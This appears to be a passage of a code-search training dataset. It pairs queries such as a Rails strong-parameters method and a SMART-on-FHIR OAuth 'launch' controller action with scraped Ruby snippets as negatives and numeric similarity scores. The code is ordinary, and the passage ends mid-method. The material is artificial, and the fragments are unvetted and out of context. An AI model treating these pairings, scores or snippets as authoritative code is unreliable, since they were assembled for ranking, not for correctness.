[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def matter_product_params params.require(:matter_product).permit(:nombre, :fecha, :materia, :cantidad, :medida, :Matter_id, :Product_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
launch: Pass either params or hardcoded server and client data to the auth_url via redirection
def launch # Get a completely fresh session for each launch. This is a rails method. reset_session cookies.clear redirect_to home_path, alert: "Please provide the server_url, client_id, and client_secret." and return if !all_credentials_provided? # Set auth sessions with params values session[:launch] = params[:launch].present? ? params[:launch].strip : "launch" session[:iss_url] = cookies[:iss_url] = params[:iss_url].strip.delete_suffix("/").delete_suffix("/metadata") session[:client_id] = params[:client_id].strip session[:client_secret] = params[:client_secret].strip session[:scope] = params[:scope]&.strip # Get the server metadata rcResult = get_server_metadata(session[:iss_url]) redirect_to home_path, alert: rcResult and return if rcResult.class == String # Logic for authenticated access server if session[:is_auth_server?] begin server_auth_url = set_server_auth_url() redirect_to server_auth_url rescue StandardError => exception redirect_back fallback_location: home_path, alert: "Failed to connect: #{exception.message}" and return end # Logic for unauthenticated server access: the user will provide the patient ID in the client_id & client_secret fields. else session[:patient_id] = session[:client_secret] redirect_to dashboard_url, notice: "Signed in with Patient ID: #{session[:patient_id]}" end cookies.clear end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authenticate!\n @client = Octokit::Client.new\n url = @client.authorize_url(CLIENT_ID)\n redirect url\nend", "def signin\n embed_screen api_args.select_keys(\"redirect_uri\", \"client_id\", \"response_type\")\n end", "def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end", "def authorize\n\n # redirect to kpass for authorization (and authentication if they're not\n # signed in.)\n # \n \n\n authorize_url = \"#{ENV['KPASS_ENDPOINT']}/oauth/authorize?app_id=#{ENV['KPASS_APP_ID']}\"\n redirect_to authorize_url\n end", "def authenticate!\n redirect \"https://github.com/login/oauth/authorize?scope=user:email,read:org&client_id=#{CLIENT_ID}\"\nend", "def client_passive_login\n return_uri = session[:_return_uri]\n session[:_return_uri] = nil\n client_app = client_app(params[:client_id])\n login_path = params[:login_path] || '/users/auth/nyulibraries'\n # If user is signed in\n # redirect to client login\n if user_signed_in? && client_app.present?\n escaped_return_uri = CGI::escape(return_uri) if return_uri.present?\n client_authorize_url = URI.join(URI.parse(client_app.redirect_uri), login_path, \"?origin=#{escaped_return_uri}\")\n redirect_to \"#{client_authorize_url}\"\n # If the user is not signed in but there is a return URI\n # send the user back there\n elsif return_uri.present?\n redirect_to return_uri\n else\n head :bad_request\n end\n end", "def authentication_url_from_master(master_url, auth_params)\n client = Kontena::Client.new(master_url)\n vspinner \"Sending authentication request to receive an authorization URL\" do\n response = client.request(\n http_method: :get,\n path: authentication_path(auth_params),\n expects: [501, 400, 302, 403],\n auth: false\n )\n\n if client.last_response.status == 302\n client.last_response.headers['Location']\n elsif response.kind_of?(Hash)\n exit_with_error [response['error'], response['error_description']].compact.join(' : ')\n elsif response.kind_of?(String) && response.length > 1\n exit_with_error response\n else\n exit_with_error \"Invalid response to authentication request : HTTP#{client.last_response.status} #{client.last_response.body if debug?}\"\n end\n end\n end", "def send_auth_request \n request = AuthorizeRequest.new(:get, action_to_call) do |req|\n req.request_params = params\n end\n request.send_request(Config.url)\n end", "def fire_eagle_auth_url\n client = if fire_eagle_requested?\n requested_client\n else\n fire_eagle_request!\n end\n client.authorization_url \n end", "def login_url(params,session)\n req_token = self.get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n self.authorize_url({:request_token => req_token.token, :request_token_secret => req_token.secret})\n end", "def auth_param; end", "def auth\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"params=#{params}\",\n \"\" ] if browse_everything_controller_debug_verbose\n # params contains the access code with with the key :code\n provider_session.token = provider.connect(params, provider_session.data, connector_response_url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_session.token=#{provider_session.token}\",\n \"\" ] if browse_everything_controller_debug_verbose\n provider_session.token\n end", "def redirect\n client = Signet::OAuth2::Client.new(client_options)\n if internet_connection? \n redirect_to client.authorization_uri.to_s\n else\n redirect_to root_path\n end\n end", "def authCallback\n begin\n auth_code = params.fetch(\"code\")\n rescue KeyError\n raise \"error: no code param provided\"\n end\n\n from_sso = params.fetch(\"from_sso\", \"0\") == \"1\" \n origin = params[\"origin\"] if params.key?(\"origin\")\n\n redirect_uri_sso = URI(api_args[\"redirect_uri\"])\n redirect_uri_sso.query = URI.encode_www_form(params.select{|k, v| [\"from_sso\", \"origin\"].include? k})\n\n redirect_uri = from_sso ? redirect_uri_sso.to_s : api_args[\"redirect_uri\"]\n\n password_reset = sign_in(auth_code, redirect_uri)\n\n if from_sso\n # we got here from sso, redirect to origin(the page where user entered \n # the site)\n redirect_to origin\n elsif password_reset\n # we got here from email password reset, redirect to change password\n redirect_to \"/#{app.name}/profile_change_password\"\n else\n # since we are in an iframe, reload the parent, not the current window,\n # otherwise we will get nesting.\n render :text => \"<script>window.parent.location.reload()</script>\"\n end \n end", "def login_url(prt, opts = {})\n plid = login_request(prt, :requested => opts.delete(:requested), :seed => opts.delete(:seed)).plid\n login_url_from_plid( plid, opts.delete(:demo) )\n end", "def app_portal\n\t if params[:individual_user_id] && params[:secret]\n\t login(params[:individual_user_id], params[:secret])\n\t end\n\t\n # pathway parameter indicates that the app should return to a specific page\n if params[:pathway]\n\t redirect_returning_user(params[:pathway],params)\n\t end\n end", "def http_auth_login\n # FIXME: Implement\n end", "def authenticate_request\n session[:requested_url] = request.fullpath\n\n url = logged_in? ? shibbolite.access_denied_url : shibbolite.login_url\n\n # redirect to the selected url\n respond_to do |format|\n format.html { redirect_to url }\n format.js { render js: \"window.location.assign('#{url}');\"}\n end\n end", "def login\n #If we go to login page we clear all data still in session to force a re-auth\n current_user = nil\n session[:user_id] = nil\n session[\"REMOTE_USER\"] = nil\n env[\"REMOTE_USER\"] = nil\n if params[:redirect_uri].nil? or params[:client_id].nil?\n redirect_to root_path\n else\n @from_application = ClientApplication.find_by_callback_url(params[:redirect_uri])\n if @from_application.nil?\n redirect_to root_path\n end\n end\n\n\n end", "def login\n if params[:error].present? # Authentication Failure\n err = \"Authentication Failure: #{params[:error]} - #{params[:error_description]}\"\n redirect_to home_path, alert: err\n else\n session[:wakeupsession] = \"ok\" # using session hash prompts rails session to load\n session[:client_id] = params[:client_id] || session[:client_id] #).gsub! /\\t/, ''\n session[:client_secret] = params[:client_secret] || session[:client_secret] #).gsub! /\\t/, ''\n code = params[:code]\n @client = connect_to_server(code)\n return if 